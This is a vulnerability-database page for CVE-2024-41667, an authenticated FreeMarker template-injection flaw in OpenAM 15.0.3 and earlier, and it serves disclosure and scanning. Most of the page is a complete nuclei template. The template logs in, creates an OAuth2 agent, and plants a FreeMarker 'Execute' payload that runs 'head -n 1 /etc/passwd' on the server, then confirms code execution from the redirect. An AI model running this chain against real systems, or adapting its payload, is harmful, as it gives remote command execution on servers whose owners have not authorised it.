HexBrain

Browse / CVEs / CVE-2024-41667

CVE-2024-41667· CWE-94

OpenAM<=15.0.3 FreeMarker - Template Injection

highseverity
8.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input

Impact

Authenticated attackers can exploit template injection to execute arbitrary code on the OpenAM server.

Fix

Update OpenAM to a version later than 15.0.3 that patches the template injection vulnerability.

How to confirm it

Send: POST /openam/json/realms/root/authenticate
Positive when: contains "authId"
Send: POST /openam/json/realms/root/authenticate
Positive when: contains "tokenId"
Send: GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI
Send: GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI
Send: POST /openam/agentconfig/Agents
Send: POST /openam/agentconfig/Agents
Send: POST /openam/agentconfig/AgentAdd
Send: GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession…
Send: POST /openam/agentconfig/GenericAgentProfile
Positive when: contains "<div class=\"AlrtMsgTxt\">Profile was updated.</div>"
Send: POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create
Positive when: contains "message" and "reason" and "code"
Send: PUT /openam/json/realms/root/realm-config/services/oauth-oidc
Positive when: contains "advancedOAuth2Config" and "customLoginUrlTemplate"
Send: GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200
Positive when: contains(urldecode(location),"root:x:0:0:")

Run it with nuclei: nuclei -id CVE-2024-41667 -u <target>

The full check
id: CVE-2024-41667

info:
  name: OpenAM<=15.0.3 FreeMarker - Template Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input
  impact: |
    Authenticated attackers can exploit template injection to execute arbitrary code on the OpenAM server.
  remediation: |
    Update OpenAM to a version later than 15.0.3 that patches the template injection vulnerability.
  reference:
    - https://github.com/advisories/GHSA-7726-43hg-m23v
    - https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-7726-43hg-m23v
    - https://github.com/OpenIdentityPlatform/OpenAM/commit/fcb8432aa77d5b2e147624fe954cb150c568e0b8
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41667
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-41667
    cwe-id: CWE-94
    epss-score: 0.03536
    epss-percentile: 0.89369
  metadata:
    max-request: 12
    verified: true
  tags: cve,cve2024,intrusive,openam,ssti,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /openam/json/realms/root/authenticate HTTP/1.1
        Host: {{Hostname}}
        Accept-API-Version: protocol=1.0,resource=2.1
        X-Password: anonymous
        X-Username: anonymous
        Content-Type: application/json
        X-Requested-With: XMLHttpRequest
        X-NoSession: true

    matchers:
      - type: word
        part: body
        words:
          - "authId"
        internal: true

    extractors:
      - type: regex
        name: authId
        part: body
        group: 1
        regex:
          - '"authId":"(.*?)"'
        internal: true

  - raw:
      - |
        POST /openam/json/realms/root/authenticate HTTP/1.1
        Host: {{Hostname}}
        Accept-API-Version: protocol=1.0,resource=2.1
        X-Password: anonymous
        X-Username: anonymous
        Content-Type: application/json
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        X-NoSession: true

        {"authId":"{{authId}}","template":"","stage":"DataStore1","header":"Sign in to OpenAM","infoText":["",""],"callbacks":[{"type":"NameCallback","output":[{"name":"prompt","value":"User Name:"}],"input":[{"name":"IDToken1","value":"{{username}}"}]},{"type":"PasswordCallback","output":[{"name":"prompt","value":"Password:"}],"input":[{"name":"IDToken2","value":"{{password}}"}]}]}

    matchers:
      - type: word
        part: body
        words:
          - "tokenId"
        internal: true

    extractors:
      - type: kval
        name: csrf
        part: header
        internal: true
        kval:
          - iPlanetDirectoryPro

  - raw:
      - |
        GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: pageSession1
        part: body
        group: 1
        regex:
          - 'jato.pageSession=(.*?)"'


  - raw:
      - |
        GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: pageSession2
        part: body
        group: 1
        regex:
          - '"jato.pageSession" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /openam/agentconfig/Agents HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        jato.defaultCommand=%2Fg&jato.pageSession={{pageSession2}}

    extractors:
      - type: regex
        name: pageSession3
        part: body
        group: 1
        regex:
          - '"jato.pageSession" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /openam/agentconfig/Agents HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        &Agents.tfFilter=*&Agents.tblSearch.PrimarySortNameHiddenField=tblDataName&Agents.tblSearch.PrimarySortOrderHiddenField=ascending&Agents.tblSearch.SecondarySortNameHiddenField=&Agents.tblSearch.SecondarySortOrderHiddenField=&Agents.tblSearch.AdvancedSortNameHiddenField=&Agents.tblSearch.AdvancedSortOrderHiddenField=&Agents.tblButtonAdd=New...&Agents.tblButtonDelete.DisabledHiddenField=true&Agents.tblSearch.SelectionCheckbox0.jato_boolean=false&Agents.tblDataUniversalName=id%3Dou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&Agents.tfGroupFilter=*&Agents.tblSearchGroup.PrimarySortNameHiddenField=tblDataGroupName&Agents.tblSearchGroup.PrimarySortOrderHiddenField=ascending&Agents.tblSearchGroup.SecondarySortNameHiddenField=&Agents.tblSearchGroup.SecondarySortOrderHiddenField=&Agents.tblSearchGroup.AdvancedSortNameHiddenField=&Agents.tblSearchGroup.AdvancedSortOrderHiddenField=&Agents.tblButtonGroupDelete.DisabledHiddenField=true&jato.defaultCommand=%2FbtnSearch&jato.pageSession={{pageSession3}}

    extractors:
      - type: regex
        name: pageSession4
        part: body
        group: 1
        regex:
          - '"jato.pageSession" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /openam/agentconfig/AgentAdd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        AgentAdd.button1=Create&AgentAdd.tfName={{randstr}}&AgentAdd.tfPassword=test&AgentAdd.tfPasswordConfirm=test&jato.defaultCommand=%2Fbutton1&jato.pageSession={{pageSession4}}

    extractors:
      - type: regex
        name: pageSession5
        part: body
        group: 1
        regex:
          - '"jato.pageSession" value="(.*?)"'
        internal: true

  - raw:
      - |
        GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession={{pageSession2}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: pageSession6
        part: body
        group: 1
        regex:
          - '"jato.pageSession" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /openam/agentconfig/GenericAgentProfile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        GenericAgentProfile.button1=+Save+&GenericAgentProfile.agentgroup=&GenericAgentProfile.sunIdentityServerDeviceStatus=Active&GenericAgentProfile.userpassword=&GenericAgentProfile.userpassword_confirm=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientType=Confidential&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.listbox=https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.selectedTextField=https%3A%2F%2Fgithub.com%09https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.listbox=employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=employeenumber%09employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.selectedTextField=code%09code%09token%09token%09id_token%09id_token%09code+token%09code+token%09token+id_token%09token+id_token%09code+id_token%09code+id_token%09code+token+id_token%09code+token+id_token&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.tokenEndPointAuthMethod=client_secret_basic&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwksURI=http%3A%2F%2Fkubernetes.docker.internal%3A8081%2Fopenam%2Foauth2%2Fconnect%2Fjwk_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwks=&GenericAgentProfile.com.forgerock.openam.oauth2provider.sectorIdentifierURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.subjectType=Public&GenericAgentProfile.com.forgerock.openam.oauth2provider.idTokenSignedResponseAlg=HS256&GenericAgentProfile.idTokenEncryptionEnabled.jato_boolean=false&GenericAgentProfile.idTokenEncryptionAlgorithm=RSA1_5&GenericAgentProfile.idTokenEncryptionMethod=A128CBC-HS256&GenericAgentProfile.idTokenPublicEncryptionKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessToken=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientSessionURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientJwtPublicKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAge=600&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAgeEnabled.jato_boolean=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.publicKeyLocation=jwks_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.authorizationCodeLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.refreshTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwtTokenLifeTime=0&GenericAgentProfile.isConsentImplied.jato_boolean=false&jato.pageSession={{pageSession6}}

    matchers:
      - type: word
        part: body
        words:
          - '<div class="AlrtMsgTxt">Profile was updated.</div>'
        internal: true

  - raw:
      - |
        POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/json
        Connection: keep-alive

        {}

    matchers:
      - type: word
        part: body
        words:
          - 'message'
          - 'reason'
          - 'code'
        condition: and
        internal: true

  - raw:
      - |
        PUT /openam/json/realms/root/realm-config/services/oauth-oidc HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/json

        {"advancedOAuth2Config":{"customLoginUrlTemplate":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"head -n 1 /etc/passwd\")}"},"deviceCodeConfig":{"completionUrl":"","verificationUrl":"","devicePollInterval":5,"deviceCodeLifetime":300},"oidcSsoProviderEnabled":false,"_id":"","_type":{"_id":"oauth-oidc","name":"OAuth2 Provider","collection":false}}

    matchers:
      - type: word
        part: body
        words:
          - 'advancedOAuth2Config'
          - 'customLoginUrlTemplate'
        condition: and
        internal: true

  - raw:
      - |
        GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200 HTTP/1.1
        Host: {{Hostname}}

    disable-cookie: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(urldecode(location),"root:x:0:0:")'

References

Use this check only on systems you are authorised to test. Where the data comes from